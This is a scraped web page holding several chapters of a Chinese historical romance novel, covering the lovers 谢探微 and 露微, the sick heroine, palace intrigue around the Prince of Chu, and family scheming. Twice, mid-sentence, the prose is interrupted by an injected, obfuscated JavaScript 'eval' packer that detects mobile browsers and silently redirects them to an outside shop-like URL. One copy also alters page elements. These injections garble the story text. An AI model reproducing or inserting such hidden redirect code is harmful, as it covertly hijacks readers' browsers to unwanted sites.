丹渥本是怯懦的性子,跟着露微不久,倒也学得几分大方,此时轻手轻脚,不慌不急,答道:“娘子今日醒的时候略长些,奴婢来时,雪信正温药,不知能不能喂进去。” 谢探微难以想象露微现在虚弱成什么样,气息微微发颤,可又只能警醒着神,“我只怕要陪她一夜才好,她屋里还有什么人么?” “娘子院里就只乔娘,雪信和我,杨娘子都嘱咐过了。尤其乔娘,先虽不肯,却是最疼娘子的,只能应了。有她安排,整个府里都不算事。还有,太傅也不在,不知去哪里,前脚才出门了!” 谢探微长舒了口气,不再延误,跟随丹渥潜入了夜色之中。 一路穿廊过院,耳畔划过的风声都让他心弦紧绷,但就如当初为露微擅闯国子监一般,他没有第二个选择,等不了将所有事都安排妥当再来相见。 很快,到了。 露微寝房门前,是乔晴霞亲自守着,她没让谢探微直接进去,拦了一步,问道: “奴婢斗胆问谢公子一句,倘若今夜之事被家翁发觉,公子当如何收场?” 谢探微只见过乔氏一次,并不知她的来历,只看她有些年纪,丹渥又说她疼爱露微,心中便有数了: “请罪之日便是礼聘之时。” …… 谢探微以为自己会很胆怯,但进到露微房中的每一步都仿佛有人在身后推着他,让他像是轻车熟路一般。只不过,见到人那一眼,终究是万箭穿心。 露微半躺着,如锻的丝发自两肩披散,将她苍白的面色反衬得更淡了一层。她睡得并不稳,眉头轻皱,嘴唇微咬,身躯不时扭动,衣襟上还有斑斑药渍。 “微微。”他俯身过去,声泪同下,又赶紧屏了屏自己粗重的气息,将人轻之又轻地抱了起来,“微微,是我啊,谢探微,你睁开眼睛看看我。” 许久,露微的眼睛才缓缓眯开了一条缝,“谢……你,烦死了……冤大头……” 显然不是清醒之言,但足以让谢探微的心松了一松,她还能认得自己,也还记得那天的事。“嗯,是我,都是我,你快点好起来,再好好骂我一遍。” 许是根本无力反应,露微又闭上了眼睛,而正当谢探微开始紧张,怕她是惊厥昏迷之类,却这时,她忽然睁开了双眼,还竟有了些眼神,瞳孔聚起了光泽—— “你……是真的?还是假的?” 谢探微浑身一紧,明白露微是真的醒了,“微微,真的是我,真的是我!我来了!” 露微久未进食,原是一点力气也没有的,可听到这句,瞬间就抬起了手,想去触摸近在眼前的面孔。 谢探微含泪而笑,立刻就将露微这只手握住,紧紧贴在了自己的脸颊,“微微,不要怕,我没有惊动你父亲,我只是没有办法等下去了,我想见你,想陪着你!” 露微确实吃惊,但怕也没用了,微喘着道:“贤儿去找你了?她怎么和你说的?我没事,你不用吓成这样。” 谢探微暗暗深吸,藏下无尽心疼,看露微额上发了一层虚汗,便先将人靠回枕上,拧了巾子替她擦拭,“微微, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢探微一副不可思议地神情:“所以上次你说他,也是因为这个置着气,才拿来堵我的?” “嗯。” 露微咬着嘴闷闷地应了一声,然而眨眼间,双唇就被柔软地撬开了,于是,纤薄的身躯在软枕中渐渐深陷。 不多时,停了,耳畔随后传来一阵湿热:“微微,我竟不知,你如此会嫉妒。” 露微的心还在嗓子眼,根本接不住这样的耳边厮磨,弹出一指,顶了顶他的侧腰,“出汗了,热。” 谢探微一笑,起身时手臂一撑,顺势将露微扶坐起来,试了试她的额头,“没那么烫了,是不是舒服些了?” 露微这才发觉浑身松快许多,好像突然就痊愈了,“你要走了?什么时候再来?” 谢探微瞧了眼窗子,窗纱一无透光,夜色正深,“还早,不急,我可以天天来,但更想与你在外头相见。” “那明天我去找你吧,我们就去……昭成寺!” 见露微说得颇是认真,谢探微又蹙眉一笑,将她抱进了怀里,“明天可不行,什么时候我说了算。” “你不是说都听我的吗?说了多次,为什么又变了?”露微唇边浮起一丝笑意。 谢探微将她的笑收入眼中,轻轻捋着她的丝发,神色却变得几分郑重,“微微,不管是谁,都不值得你为我嫉妒,因为从今往后,我都只是你一个人的。我来之前,已禀陈父母大人,今后成婚,我跟你走,就住在赵家,与你一同侍奉父亲。” 露微明白这话的分量,可既觉突然,更是惶恐。谢探微与父母不和,尚且不至于断亲,如今竟要为了她抛家舍业来做赘婿! “你父亲竟能同意?他有没有打你?!” 露微支起身子,目光扫视谢探微上下,怕他是藏着伤来的,却被谢探微越发搂紧,动弹不得。 “贤儿都告诉我了,齐大非偶,人情复杂,你不喜欢这样的谢家对不对?忍在心里不说,生生把自己磨出病来,若你就因此伤了性命,我活着还有什么意思?” 露微震惊不已,大约猜到淑贤是怎么同谢探微说的了,但和谢家二郎的事一样,也不能解释,毕竟这样的原话是出自父亲的口中,含义是很不一样的。 听着露微似是平静了下来,谢探微才缓缓松开了手臂,复在她额上轻轻一吻,便腾出一手从怀里摸出了个物件:“这次是我给你戴上的,求你不要再还给我。” 是手镯,是那只桃花纹镶金玉镯,露微也竟不觉这镯子何时出走了一趟,可,亦无谓再多问了。 “谢探微,我究竟何德何能,让你这般为我?” “寸心之间,不可言耳,我为微微,岂惜沦亡。” 41.选择 谢探微是在黎明前最后一丝夜色中离开的,露微熟睡不觉,醒来时已是晌午。内室并无旁人,但她低头见,身上的衣服却是新换的。 “雪信!丹渥!” 病了多日,这还是她第一回自己坐起来放声叫人,然而,侍女们一无动静,层层帘帐间却突然窜进一个不高的身影: “赵阿姊,你终于醒了!” 露微瞬间愣住,下一刻便从榻上滚落在地,并非不小心,而是惊急之下的狼狈行礼——来者,竟然是皇太子李衡。 “殿,殿下怎,怎么出宫了啊!” 李衡只忙扑到了露微身前,一把将她拉了起来,力气着实不小,只是到底年少,双臂不够长,动作就像是扯拽,“阿姊,你还病着呢,快躺好!” 李衡将露微又推回了榻上,还盖了被子,露微不敢违拗,只有在被子里屈膝跪坐,勉力保持着恭敬,“殿下,你可不能乱叫啊!要是给人听到了,臣的罪过就大了!” 李衡只是摇头叹声,先站在榻侧,复又坐下,清秀的眉眼皱成一团:“你比我大,但也只大七岁,为什么不能叫阿姊?这是你家,又没外人,阿姊也可以叫我阿衡,父皇也这么叫。” 一句说得比一句让人惊心,露微觉得浑身凉飕飕的,只能岔开话端:“殿下到底是怎么来的?跟着的人呢?” 李衡指了指窗外,“我怕吵着你,就叫乳母他们都在外头等了,父皇还让一队羽林卫护卫,阿姊就放心吧。” 听有天子授意,露微暂先松了口气,“那殿下为何来此啊?是因为臣的父亲连日告假,陛下便叫殿下到臣家中听课?” “才不是呢!”李衡抱起了双臂,竟是有些不悦,“这不明摆着么?我就是来看你的,四五天了,我都想你了,也很担心你!” 这话听得露微心头一麻,想来其实侍奉李衡还不到两月,每次授课也只是静静地陪在一侧,并不至于如此深情厚谊。然而她也看得出,李衡这个孩子心地纯真,是不会作假的。 “殿下放心,臣死不了,但凡五谷为食哪有不生病的,臣必会尽快痊愈,继续侍奉殿下的。” 李衡眨着眼,却以端量的目光看来,又一叹,低了头:“阿姊不知,我母后当年病重,也时常说明日她便好了,不会死。虽然那时我还小,但记得很清楚,便觉得这不是一句好话。” 露微初去东宫列到时,李衡就提到过先皇后,现在又知这般内情,她倒越发理解了,“臣早说过,臣能得殿下青眼,是臣的幸事,今后若此私下场合,殿下就尽管将臣当做阿姊吧。” 李衡抬起一双亮晶晶的眸子,笑了,“好!阿衡终于有自己的阿姊了!再也不用羡慕吴王循了!” “吴王?”露微若不是去当这个女官,也不会平白打听皇家内事。此前,这些宗亲贵胄,她只知一个楚王李元珍。 “他是我的长兄,比我年长两岁,是周贵妃的儿子,周娘娘还生了鲁阳公主,就是我长姊。” “既如此,大公主不也就是殿下的亲阿姊么?” 李衡抿抿嘴巴,忽然凑到了露微耳畔,又用手挡着,才道:“他们是一个娘生的,在宫里,不一样。” 露微没再多问,心中有了些数,握住李衡双手道:“殿下今后若有什么委屈都可尽诉于臣,但这些话,万不可表露面上。” 李衡笃一点头:“我明白,我是太子,言行须有状,兄弟之间更该和睦包容,不能因为私心生出事端,父皇也会不高兴的。” 露微欣然,亦感喟。兄弟手足的关系,上至天家,下到田舍,都是需要悉心维系的,而家事往往牵一发而动全身,也不能只以道理约束,便大约都是需要有个心胸宽阔之人来包容一切。 “殿下明理。” …… “大王一切安好,为何要下官看疗?就不怕陛下听闻,认为下官与大王过从甚密,不利于大王行事么?” 姚宜苏是第二次来楚王府。 李元珍缓缓挪动目光,观赏园中春景,却只淡笑道:“去年这时候,咱们还在南营州的王府里。姚医官以为,是南营州的王府好,还是此处更佳?” 姚宜苏也无讳言,直道:“不是佳处,大王为何到此?” “既是此地更佳,便要做些与之相衬的佳事,才不算辜负。”李元珍说得几分玄妙,眉眼向姚宜苏淡淡扫去,“能与姚医官坐而论道,便是最佳。” “大王抬举了,下官只是个医官,品阶微末,一无实权,实在也不知大王何以看重?” 李元珍摇了摇头:“你看我有何实权?这世上的事,不是只有掌权之人才能定夺,而现在没有,将来未必也无。但不过,姚医官比我强,家中有个才华绝世的弟弟,十九岁的状头,前途未可限量。” 姚宜苏脸色凝住,放在膝上的手渐渐握紧,“大王,你不能动他。” 李元珍嘴角微抿,亲自倒了杯茶递过去,“赏春乐事,姚医官何必动怒呢?连陛下都称赞姚家一门双杰,还亲赐令弟集贤殿直学士的美差,这可是专出宰相的地方。所以,我只是叹服而已。” 姚宜苏目光平视,将面前茶碗端起,浅浅饮了一口,“大王称赞,下官替舍弟谢过了。大王可以说说正事了吧?” “原本就是在说正事啊,那就说下一件。”李元珍眼睛一圆,颇有些无辜似的,旋即悠然一笑,“我听闻,近日你们太医署最大的事,就是为赵太傅家的女学士诊疗,如花美眷,若是在这个年纪上不幸病亡,岂不可惜?” 姚宜苏当然知道露微生病的事,更看过太医令陈自和记录的病案,“那是小疾,陈医令不会连这点本事都没有,不过是因陛下亲自派遣,太医署尤为重视而已。” 李元珍赞同地点了点头,目光里却平添了一色凌光,“这女子当真是个妙人,既通诗书,更有手段,我先前倒小看她了。却也可见,姚医官因她效命于我,我是可以十分放心的。” 姚宜苏明白李元珍所指何事。 李元珍在朝堂上屡屡受限,就把矛头对准了几个重臣的家中。赵家的那些传言就是李元珍让人放出来的,目的在于挑拨赵家父子感情,败坏其家德。然而,眼看赵启英已被扫地出门,却没几日,露微去吏部逛了一遭便不动声色的把事情解决了。 “她早知道赵维贞贬官与大王脱不了干系,却也只到舒正显那一层,是不会对大王有所威胁的。大王还是把心思放在别家吧。” “你又在护短了。”李元珍瞥了眼姚宜苏,深吸了口气,“她迟早会知道,知道又何妨呢?她也迟早会知道你都做了什么,但你若怕,就不可能得到她。” “她本就是我明媒正娶的妻子!”姚宜苏轻嗤,“若不是去岁大王一封奏表,我怎会因为去南边看疗,未能及时赶回,让她流落在外?所以大王不必再试探下官,下官也早与大王交了底,唯一的要求便是,不能伤了她。” 李元珍微微皱起眉头,目露参详之意,“我着实不懂,女人么,长得赏心悦目也就罢了,何苦用心呢?而且,我家王妃才貌不输于她,怎么就留不住你的心呢?” “若无赵露微,大王难道会以王妃为筹码,来收买下官不成?”姚宜苏不假思索。 李元珍脸色一僵,良晌,“姚宜苏,你还真是个值得我下本钱之人。” “那大王究竟要向下官买什么?” “你有什么,我便买什么。” …… 晏令白散朝归来,正在府前下马,鞭子还扬着,要交到门仆手里,忽然却从马尾处转来一张笑盈盈的脸孔: “将军!你回来啦!” 大白天的街上本嘈杂,沙场百战的晏令白竟吓到了,马鞭都落在地上,“露微,你!怎么就出来了?!” 露微也知自己突然登门有些冒失,但没料到晏令白会如此惊愕,“我是有事对将军说。”她边说边下蹲去捡马鞭,但不及摸到就被拎了起来。 “将军,我……我好了,我自己走来的!” 晏令白完全不听她一路说,直到扶她进中堂坐下,自己也不肯坐,就蹲在身前看着她,“你这孩子是要把人急死啊!” 听着满含嗔怪的话 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她知道谢探微白天定在职上,晚上才会去找她,便叫侍女像昨夜般为她打掩护,从后门偷溜出了来。到了将军府前,又怕下人替她去报信,弄得太过惊动,便在门外候着。 “将军,我昨夜开始就不烧了,也不疼了,我喝了药,吃了东西,已经有力气了,你不用担心。” 晏令白闷了口气在胸口,额上已出了汗,也只能极力忍住,“如此不爱惜自己,可是又为了那个小子?” 露微咧嘴一笑:“将军现在也是露微的知己啦!” 看着苍白面容上的笑,越是高兴越让人疼惜,晏令白忽然起身,背开了露微,“你说,你说。” “昨天晚上,他去找我……” 露微毫无停顿,把来龙去脉说得清清楚楚,晏令白几次回身,又几次转去,但始终不算惊讶。 “从前我尚不知他家实情时,也曾劝他自谋前路,不必在意家中,可现在不一样了。他其实极重亲情,只是忘不了幼年那道坎,越是缺便越想要,这是人之常情。更要紧的是,他本就该担负家业,凭什么拱手他人?若那二郎是个好的,则另当别论,可如今连我也不服,我想帮他,尽我所能。” “那你又为何要替他瞒着?他若连这点事情都受不住,还怎么去担负家业,周全大局?”晏令白紧接着露微的话音问道,目光投来,略有质疑,多是忧色。 露微顿了顿,似是有所深思,却答得畅然:“将军,我知道他是你从小在军中带大的,可你不能总用历练军人的眼光去看待他,他首先得是他自己!没有人不希望自己的心能被理解,将军既疼爱他,便要以他的心来看待他的遭遇啊。” 这话,早在当初谢探微被父亲责打二十鞭时,露微便想说了。所有的尊长都只知以谢探微的身份、职分来要求他,虽都是好意,却屡屡忽略了他的内心。 见晏令白看着她不说话,露微知道是起作用了,便继续恳切言道:“我若是赵家亲生的,便还算能为他撑着些,可偏不是,连生父是谁都不知道,出处都没有,还嫁过人,这些事实都会成为他的负担,但我也不能放弃他,便只能在他的家事上为他尽力。他从小想要的承欢膝下,兄友弟恭,团聚美满,是我唯一能帮他筹谋的。” 晏令白又有许久没说话,背立的身影似岿然不动。 “好,好,你要我做什么?” 窗外拂来的春风将隐着微颤的话语送到了露微耳畔。 露微一笑:“不管谢尚书和郡主是何态度,露微都不便登门直言,就请将军帮我转达,赵家不需要赘婿,请他们放心,但哪怕要我赵露微做妾,我也不能和谢探微分开。” “妾?!你父亲会同意?!”晏令白陡然转身,带着十足的怒意,声调也骤然拔高,“我也不许,绝无可能!” 露微毕竟才好些,说到这里已耗损了大半精力,只喘着气望着晏令白,“将军,非是露微志在为妾,不过只因别无选择。” 晏令白双眼通红,扶着露微的两手已止不住颤抖:“孩子,若你,其实可以选择呢?” 露微听不懂,“我不要别人,我只要他。” 42.警告 “你要看住她,一定不能让她再这样跑出来了。” 将军府前,晏令白与乔晴霞交代着,言之切切。一旁的马车里,正躺着体力不支而昏睡着的露微。 乔氏近日代理内政,露微出来时,她正被赵维贞唤去嘱咐事务。等发觉不好,才从雪信丹渥两个丫头嘴里追问出实情,随后就赶来了将军府。 她一向是不喜欢露微与晏令白多来往的,但这次却很平静,只问道:“你到底用了什么法子让这孩子如此信任你?她到底有什么事只能和你说?” 晏令白脸色深沉,道:“我也不知她怎能这样待我,但我既答应了她,便不能说。你放心就是,我会护着她的。” 乔晴霞心中并非完全没有底,淡淡一笑,“你没资格养自己的女儿,倒是帮别人养了个好儿子。我看那位谢公子,全不像你年轻时薄情狠心,将来托他的福,微微也能叫你一声阿父了。” 晏令白转开了目光,只看向马车,“她若喜欢的是别家儿郎,我反而无法事事维护她,不是吗?” 乔晴霞无言以对。 …… 将将目送马车离开,府前横街,皇城方向便驰来一匹快马。晏令白正欲转身进门,一看,倒是谢探微回来了。 “何事着急?” 还不到申时,比谢探微素日下职的时辰早了几刻,晏令白有些疑惑,想起露微才说谢探微昨夜去看了她,也许今天也是为此着急。可露微才走,身体正虚弱,晏令白便想劝阻。 然而,又不及开口,只见谢探微跳下马来,急切中竟有几分严峻,“阿父,进去再说!” 晏令白立刻警觉起来,直到进了内堂,听了谢探微几句话便知,果然是件值得细思的事: “阿父知道,陛下体恤下臣,凡咸京诸卫军士,如有在职伤病的,都会派太医署的医人前来救治,日常除了会配发治疗外伤的金疮药,每当季节更替,时症多发之际,还会赐下预防的汤药,以免相互传染,酿成大疫。而若军中酿成大疫,咸京全城的戍卫都岌岌可危,所以负责此项事务的官吏便极为关键。” “医药之事自是太医令总领负责,而负责配置伤药的医官,一直是姚宜苏。”晏令白思维缜密,一下便点到了关键,“敏识,你是怎么觉得有所不妥的?” 谢探微深吸了口气,目光郑重:“阿父不要误会,我不会再冲动,同姚宜苏计较,乱诬陷他。只是方才从金吾卫出来,正看见太常少卿孙严和他在道上行走,说是太医令陈自和年事已高且近来忙碌,要举荐他负责时症预防的重任。” 晏令白皱了皱眉,心中已知深浅,“太医署本就隶属太常寺管辖,平常的人事更张,太常少卿自然有举荐之权。” 谢探微马上接过话道:“是啊,要是换成旁人,兴许陛下还会考虑,毕竟如此大事,年高稳重才更适合。可是,姚宜苏一则颇有医名,二来,他弟弟刚中状头,名动朝野,姚家正是宠眷优渥之时,陛下一定会同意的。” 话说到这里,谢探微的意思已经呼之欲出了,晏令白一笑道:“我之前同你交过底,这个太常少卿孙严是李元珍的朝中暗线,所以,你便是怀疑,李元珍要利用姚宜苏动些手脚?” 谢探微笃然点头:“大疫并非每年都有,但防治的汤药却每年必赐,若是别有用心的人在汤药里动手脚,岂不是天大的事?李元珍没有兵权,孤身谋国,就必得用些非常手段,就像之前煽动赵家传言一般。” 晏令白向探微投去赞许的眼光,但转而却反问:“敏识,你能想到这些,很好。但是,你不觉得他们在宫里闲聊此事,还正好被你听见,太巧合了吗?” 谢探微怔了怔,赧然,“倒也是,我虽不深知姚宜苏,但几次相见,也看得出他不是个简单的人。就算他不知孙严是李元珍的人,医药之事岂不谨慎?怎容得自己成为他人手里的刀?若是知道,就更不可能,李元珍的王妃曾与他有私,自是忌惮的。” 晏令白笑了,眼中仍是赞许,又添了不少欣慰之意,“敏识,你近来很是长进,你说的这些未必无用,李元珍也不会白行一件无用的事,我们只需见招拆招便是。” 谢探微舒了口气,心里一片明快,“阿父,那我们是否可以先发制人,对陛下表明此事,请陛下不要任命姚宜苏。” “不可!”晏令白收起了笑意,“虽然陛下信任,但事无定论,只需防备,不可左右朝廷用人。敏识,你记住了,这是人臣之德,更是人臣必守的分寸。而且,就算陛下不许又如何?此非关键。” 谢探微一时浅见,惭愧低头,不再多言,向晏令白拱手一礼,“阿父若是没有其他吩咐,我便先退下了。” 这件大事急不在今天,晏令白确实并无安排,但还记得原本要劝什么,“你今天就不要再去见露微了。” 谢探微原就没有瞒着晏令白,便恳切直言:“阿父,她这场病原是触动了旧患,所以才来得凶险,昨夜刚好些,我不放心。” 晏令白心如明镜,说道:“刚刚你回来,我正在门下,便是那孩子叫侍女传信过来,要你今夜好好休息,她已吃了药,也进了食,比昨天更恢复了些。” 谢探微这才回忆,先前是见晏令白正在门口,却只半信:“那阿父,信呢?给我看看。” 晏令白扶额一叹,“口信!” …… 隔日,晏令白便将谢探微所报之事做了些许安排,自皇城出来,还是回将军府的方向,却过门不入,往谢家去了。 谢府本近,不过转两条街,只须片刻,然则打眼已见谢家正门,晏令白却忽然勒住了马。 “将军,那不是二公子么?跟谁聊得这么开心。” 随着晏令白转向街角的目光,跟在后头的陆冬至也瞧见了。他今日是被晏令白特意带了出来,说是有要事交代,先跟来了谢家。 不闻晏令白说话,陆冬至掂掇着又道:“这个二公子也挺奇怪的,说是为落榜心情不佳,上回还醉酒犯禁,可现在看着全无不悦,还这么结朋交友的,开朗得紧呢!” 晏令白这才回头瞧了陆冬至一眼:“你那次捡着他,可是在酒肆附近?” “才不是!”陆冬至直晃脑袋,“就是太平坊的一个巷口,便从谢家这里过去也就片刻,将军岂不知,太平坊住的都是些达官贵人,哪里有店肆敢在这里做生意?” 晏令白自然明白,只作一笑,招来冬至,耳畔嘱咐。几句话后,便见陆冬至一人一马,绕开谢家门前横街走了。 …… 谢探隐原是一早就出去了,踏进府门时已将宵禁,通身疲倦,却不见小奴宁英来迎他,方要喊人,只见母亲就坐在前院,眼睛盯着他,面上很是严肃。 “去哪里了?你怎敢屡教不改?” 二郎知道母亲是最心软的,甚少这样神情,心沉了沉,还是先去见礼,说道: “阿娘,我早不饮酒了,怎么叫不改呢?我有个几个同是落榜的朋友,每次相聚都是读书论道而已,也约着明年一道再试春闱呢。阿娘,你要相信我啊!” 以李氏所知,这小儿子自小性情乖觉,尤其是嘴巴讨喜。从前在老家还不觉什么,到咸京后,想也是年纪渐长,开了眼界,倒越发有些世故了。 “二郎,你要读书是好的,却不见得总要出门,只叫你那些朋友都来家里,为娘也会好好款待他们的。如此,你父亲见了,也知你是悔改上进的啊。” 谢探隐把嘴一抿,自是不愿,片刻忽然一笑,向李氏膝前伏去,道:“阿娘,你是不是觉得我不在家,阿兄也不常回来,身边冷清了?” 李氏眉头皱起,轻叹了声,“你阿兄有晏将军管教,娘不担心,只是你,难道也要给你找个先生约束着?你从小就在娘身边,什么苦也没吃过,娘是真怕你……” “娘!别说了。”谢探隐收住了笑,眼睛低去,掩住些许情绪,“我是不如阿兄出色,可阿兄如今怎么就不让人担心了?他上次回来说要去给赵家入赘,阿耶阿娘竟是同意的?” 这倒真是李氏心头大事,但不见谢道元做主,尚无定论,“娘还是那句话,家中大事不必你操心。” 既提到此,谢二郎岂是无心,便起身坐到李氏身侧,“阿娘,这不是操心,是我想为家中分忧。我知道,你早想让阿兄成婚,几年前他不肯,也没定人选,可如今虽有个赵家女,看着有些才貌,却当真适合阿兄么?” “适不适合你怎知道?”李氏想起二郎对赵女其实多有微词,“你又想说什么?入赘的事还没定呢。” “但阿娘肯定是不愿意的,不是吗?”谢探隐紧接着道,“今天就是阿娘骂我,我也要说。阿兄虽不与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665604|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家中亲近,但也不至于断绝,可如今我们家还不及去下聘呢,那赵露微就能让阿兄存下抛家舍业之心。我还听闻,赵家亲生的独子与她不和,她竟能令父亲将亲子赶出家门,回头又去示好,将人请回家。一个十几岁的小女子,竟有这般拿捏人心的手段,也难怪阿兄为她神魂颠倒。可不知是不是连这番入赘的言论也是她的计谋?她定知道,阿兄是长子,家里定不许入赘,可她自己身份不明,难免不配,便先哄了阿兄死心塌地,再谋前路。” 谢探隐一句赶着一句,比他背书时还顺畅,李氏直接便听愣了,简直难以置信,一股气堵在嗓子口发不出来。 正此时,院前小奴忽至:“郡主,晏将军到了。” 母子二人同时转脸,晏令白站在门楼间,脸上淡笑着。 “哦,将军来了。”李氏连忙收敛情绪亲自相迎,心里不由地一阵发虚,不知二郎那番话有无被听了去。 “郡主,我有些事找德初。”晏令白只是平常一语,然则,眼睛一抬,目光分去了随母亲身后来见礼的谢二郎。 李氏也知晏令白来不会是找别人,暗舒了口气,瞥眼门楼,“大郎没有跟将军同来?” “他在上职,此刻无暇,但郡主放心,我会叫他常来的。”晏令白还是笑着,说着一转,却问起谢探隐,“二郎,你父亲是在书房么?” 谢探隐与晏令白并不亲熟,行礼后只是安静站着,不料晏令白能问起他来,又不得不应:“大约在的。” 他被母亲阻在前院,费了这些口舌,根本还不及进去。 而这些,晏令白都知道,“好,那你去禀报,与我带路就是。” 谢探隐一愣,更不解其意,想这晏令白岂是外人,来去何时动过这些虚礼,可正迟疑间,母亲李氏递来眼色: “二郎,将军和你说话没听见?还愣着干什么?” 李氏倒觉得很正常,谢探隐便再不能拖延,硬着头皮向晏令白做个了延请的手势:“将军这边请。” 谢府更比将军府占地宽阔,前院到内院需费些时刻。谢探隐只求赶紧了事,走在晏令白身侧,一直都低着头。却不料,未行一半,晏令白忽然就在水池廊桥上停住了。 “将军怎么了?”谢探隐这才抬眼,却瞧不懂。 晏令白觑眼看他,:“你似乎很关心你阿兄,平常他不回来,倒也不见你去看他,以后大可常来啊。” 这话的意思浅得不能再浅,换言之,就是直白,谢探隐的神色顿时一僵,“阿兄,他戍卫……事忙,我不便打搅。” 晏令白看谢探隐的脸色便知,他是听懂了,一笑,“再忙也有下职的时候,莫非是你太忙,既要读书,又要时时陪母亲说话,还需——操心着阿兄的婚事。” 谢探隐从没这样独自接触过晏令白,话又说到了这个份上,已然紧张得不行,喉咙里咽了又咽。但又想,晏令白毕竟不是他的义父,与家里关系再好,应该也不至于对他训教。 而且,他也不明白,自己那番话并没有半句说长兄不好的,晏令白怎会看穿他的心思?又到底想说什么? “我所说的都是关心阿兄,以我家的门第,长子若是入赘别家,岂不为人笑柄?将军是阿兄的寄父,一定也希望他好吧。” 见谢探隐毫不避讳,晏令白却更了然,“你可以关心阿兄,也可以担心你家的名声,却何必把脏水都到泼一个女孩子身上呢?你对赵家的事了解得如此详实,言之凿凿,倒让本将怀疑,前些时候有关赵家的传言,难道竟是二公子的手笔?” 晏令白就是平常说话的声调,不急不缓,却将谢探隐吓得腿上一软,扶着廊桥的阑干才不至落水。 “将,将军,此话何意啊?我……我就是怕阿兄一时糊涂断送前程,真是关心他啊!” 晏令白逼近了两步,耐心有限,“你若真心关爱兄长,下回就不要将他赠你的饼餤当街丢弃了,知道了吗?” 晏令白答应了露微不能将此事告知谢探微,但他却可以用这种方式敲打谢二郎。他亦远没想到,这个二郎不仅是露微见到的那样当面一套背后一套,其用心更是卑鄙。 谢二郎满头冒出虚汗,面色灰暗,再无话可说。 “我不会告诉你的父母长兄,但,这是警告。”说完,晏令白丢下冷冷一哼,拂袖而去。 43.共枕 “阿父,你为何突然要冬至去灵州啊?” 谢探微刚把陆冬至送出门,但没从陆冬至口中问出名堂,只知是晏令白的安排。而从他知道陆冬至要出远门,到陆冬至离家,也就是这一早上的事。 “自然是有事叫他去做。”晏令白只是低头伏案,“不该问的别问,许你知道的,你会知道。” 谢探微心中揣摩,觉得陆冬至应该还不知道目下大事,但阿父这话又很严谨,还是难猜,“冬至从未独自行动过,阿父就不担心吗?灵州虽不算太远,但来回也得半个月。” “灵州太平之地,他又不是孩子了,总要历练几回。”晏令白仍不抬头,轻笑,“你足足给他多带了两大包的行李,又是钱又是吃的,还要担心什么?” 谢探微抿住嘴,倒也不知该说什么了,但越发想来,这还是他和陆冬至二十年来第一次分开,心里还是不适应。 陆冬至比谢探微小三四岁,和谢二郎年纪相当,自谢探微五岁到甘州,陆冬至便已在了。因远离家人,倍觉孤单,谢探微便将陆冬至当成了亲弟弟,自小亲厚。 至于陆冬至的身世,他也是大了些才问起晏令白。当年贼兵犯境,抢掠了一个陆姓村庄,除了被母亲护在身下的一个婴儿,全村无人幸存。那天正是冬至,晏令白在死人堆里听见哭声,抱出来一看不过两三个月大,又是个男孩,便为他取名陆冬至,留在了身边。 正因此,谢探微虽总觉自己是家中“弃子”,但看到陆冬至,父母双亡,无依无靠,便更对他怜惜爱护。二人在甘州时同吃同睡,习武行军都在一队,到如今住在将军府里,谢探微甚至还会起夜,跑到陆冬至屋里看他有没有踢被子。 总之,情深义厚。 “你今天无事可做吗?”半天不闻谢探微的动静,晏令白又问。 谢探微回过神,却又道,“阿父,冬至要做的事危不危险啊?” 晏令白稍一停顿,嘴角扬起一丝笑,“他现在应该还没出城,不然你去替了他?不过就是半个月,正好,等你回来,露微的身体应该也养好了。” 晏令白点中了谢探微的封口穴,他立马不提了,“阿父,我觉得还是你说得对,冬至也大了,该去历练历练。” 说完,谢探微便转身跑了。那动作快得,晏令白听到话音抬头的时候,堂中只剩一阵风了。 晏令白朗声大笑。 …… 春三月,风和晴暖,正是人们出游赏景之时,街道上车马往来热闹。陆冬至虽负重任要出城去,却也因此不得疾驰,只能稳速走马,防备蹭撞。 然而,好不容易到了城门,正欲加速,却忽被一个清亮的声音叫住了。他摸不准哪个方向来的,只向各处都张望了一遍,没见着,却一低头,马下仰着张笑脸: “陆冬至!我在这儿呢!” 是杨淑贤。 “人太多了,我都没找着!”陆冬至立马跳下马,笑容跟着浮在脸上,两手不自觉地在身侧衣袍上乱搓,“你是出来玩的?” 淑贤一身俏丽春裙,双环髻上珠翠如星,颊腮打了一层薄薄的胭脂,把张圆润的小脸衬得愈发娇艳了。 “嗯,我阿兄带我出来踏青!” 她一笑,歪着脑袋指了指身后的马车,车前高头马上骑着一位年轻郎君,风姿卓拔,十分儒雅,便随着妹妹所指,先向陆冬至稍稍颔首,致了一礼。 陆冬至知道杨家有一位长兄,但不曾有机会见过,露微和谢探微又都不在,他莫名有些紧张,只慌慌地拱手还过一礼。 “你这是要出远门吗?就你一个人?”这间隙,杨淑贤已把陆冬至打量了一遍,指着他马鞍上挂着的两个大包袱问道。 “不算太远,半月就能回来。”陆冬至点头道,喉中咽了咽,两手背在身后抠着衣角,“那我就不打搅你们了,先走了。” 说要走,脚步纹丝不动。 “要这么久啊!”杨淑贤也像是没听到他要走的话,还是自顾问着,收了几分笑,“是将军派你去的吗?” 陆冬至还是点头,余光只觉马上的郎君瞧着他,越发把头低了,分出一手抓上了缰绳,“我真的得走了。” 淑贤吸吐了口气,抿起嘴巴,终也点头:“那你,一路当心。” “多谢。” 挤出两个字,陆冬至就横着身子,背贴着马身,似只螃蟹般横着牵马往前挪,一直挪到稍空的地方,才翻身上马。 可眼见这人绝尘而去,杨淑贤还在原地不动,直到杨君游下马走来,抬手在她眼前晃了晃: “小东西,你不应该急着和为兄解释一下吗?” “什……什么啊?”杨淑贤脸上一红,目光闪烁,要上车去,又被杨君游拦住,“哎呀,他就是……就是微微阿姊的朋友嘛!” 